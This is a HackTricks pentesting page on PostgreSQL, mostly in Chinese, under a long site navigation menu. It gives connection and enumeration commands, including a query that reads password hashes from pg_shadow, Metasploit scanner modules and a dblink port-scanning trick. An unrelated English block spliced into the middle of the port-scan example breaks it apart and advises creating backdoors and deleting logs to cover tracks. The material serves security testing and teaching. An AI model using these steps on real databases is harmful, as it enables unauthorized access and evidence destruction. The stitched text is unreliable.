hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 基本信息
  • 连接和基本枚举
  • 自动枚举
  • 暴力破解
  • 端口扫描
  • Exploitation
  • Post-Exploitation
  • Countermeasures
  • 表格
  • 函数
  • 文件系统操作
  • 读取目录和文件
  • 简单文件写入
  • 上传二进制文件
  • 通过本地文件写入更新 PostgreSQL 表数据
  • RCE
  • RCE 到程序
  • 使用PostgreSQL语言进行RCE
  • 使用PostgreSQL扩展进行RCE
  • PostgreSQL配置文件RCE
  • Postgres提权
  • CREATEROLE提权
  • ALTER TABLE提权
  • 本地登录
  • 具有 SECURITY DEFINER 的自定义定义函数
  • 通过PL/pgSQL进行暴力破解
  • 通过覆盖内部PostgreSQL表进行权限提升
  • POST
  • 日志记录
  • pgadmin
  • pg_hba
  1. 👽Network Services Pentesting

5432,5433 - Pentesting Postgresql

上一页5353/UDP Multicast DNS (mDNS) and DNS-SD下一页5439 - Pentesting Redshift

最后更新于1年前

使用 Trickest 可轻松构建并通过世界上最先进的社区工具自动化工作流程。 立即获取访问权限:

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!

支持 HackTricks 的其他方式:

  • 如果您想看到您的公司在 HackTricks 中做广告或下载 PDF 版本的 HackTricks,请查看订阅计划!

  • 获取官方 PEASS & HackTricks 商品

  • 探索PEASS 家族,我们的独家NFTs

  • 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @carlospolopm** 上关注我们**。

  • 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。

基本信息

PostgreSQL 被描述为一种面向对象的关系型数据库系统,是开源的。该系统不仅使用 SQL 语言,还通过附加功能增强了它。其功能使其能够处理各种数据类型和操作,使其成为开发人员和组织的多功能选择。

**默认端口:**5432,如果此端口已被使用,似乎 postgresql 将使用下一个未使用的端口(可能是 5433)。

PORT     STATE SERVICE
5432/tcp open  pgsql

连接和基本枚举

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

如果运行 \list 命令发现一个名为 rdsadmin 的数据库,那么你就知道你在一个 AWS postgresql数据库 内。

要了解更多关于如何滥用PostgreSQL数据库的信息,请查看:

PostgreSQL injection

自动枚举

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

端口扫描

根据这项研究,当连接尝试失败时,dblink会抛出一个sqlclient_unable_to_establish_sqlconnection异常,其中包括错误的解释。以下是这些细节的示例。

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • 主机已宕机

DETAIL: 无法连接到服务器: 主机不可达 服务器是否在主机"1.2.3.4"上运行,并接受端口5678上的TCP/IP连接?

  • 端口已关闭

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • 端口是开放的

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request
## PostgreSQL

### Enumeration

1. **Banner Grabbing**: Use tools like `nc` or `telnet` to connect to the PostgreSQL service and grab the banner to identify the version running.

2. **Nmap Scripts**: Nmap has scripts specifically designed for PostgreSQL enumeration. Use the following command:
   ```bash
   nmap -p 5432 --script postgresql-* <target>
  1. Manual Connection: Use psql to manually connect to the PostgreSQL service and gather information about the databases and users.

Exploitation

  1. Default Credentials: Check for default credentials like postgres:postgres or weak credentials in use.

  2. SQL Injection: Exploit SQL injection vulnerabilities in web applications connected to the PostgreSQL database.

  3. Privilege Escalation: Look for ways to escalate privileges within the PostgreSQL service or the underlying operating system.

Post-Exploitation

  1. Dumping Data: Use tools like pg_dump to dump the contents of databases for further analysis.

  2. Creating Backdoors: Create backdoors for persistent access to the PostgreSQL service.

  3. Covering Tracks: Remove evidence of the attack by deleting logs and other traces of unauthorized access.

Countermeasures

  1. Strong Credentials: Always use strong, unique passwords for PostgreSQL accounts.

  2. Regular Updates: Keep the PostgreSQL server updated with the latest security patches to prevent exploitation of known vulnerabilities.

  3. Network Segmentation: Implement network segmentation to restrict access to the PostgreSQL service from unauthorized users.

DETAIL: FATAL: password authentication failed for user "name"

* 端口是开放的或被过滤的

DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

在PL/pgSQL函数中,目前无法获取异常详细信息。但是,如果您可以直接访问PostgreSQL服务器,则可以检索所需的信息。如果从系统表中提取用户名和密码不可行,您可以考虑使用前一节讨论的字典攻击方法,因为这可能会产生积极的结果。

## 特权枚举

### 角色

| 角色类型      |                                                                                                                                                      |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper       | 角色具有超级用户特权                                                                                                                                |
| rolinherit     | 角色自动继承其成员角色的特权                                                                                                                        |
| rolcreaterole  | 角色可以创建更多角色                                                                                                                               |
| rolcreatedb    | 角色可以创建数据库                                                                                                                                 |
| rolcanlogin    | 角色可以登录。也就是说,此角色可以作为初始会话授权标识符                                                                                           |
| rolreplication | 角色是复制角色。复制角色可以启动复制连接并创建和删除复制插槽。                                                                                     |
| rolconnlimit   | 对于可以登录的角色,设置此角色可以进行的最大并发连接数。-1表示无限制。                                                                             |
| rolpassword    | 不是密码(始终显示为 `********`)                                                                                                                    |
| rolvaliduntil  | 密码过期时间(仅用于密码身份验证);如果不过期,则为null                                                                                             |
| rolbypassrls   | 角色绕过每个行级安全策略,请参阅[第5.8节](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)了解更多信息。                        |
| rolconfig      | 运行时配置变量的角色特定默认值                                                                                                                      |
| oid            | 角色的ID                                                                                                                                           |

#### 有趣的组

* 如果您是 **`pg_execute_server_program`** 的成员,则可以 **执行** 程序
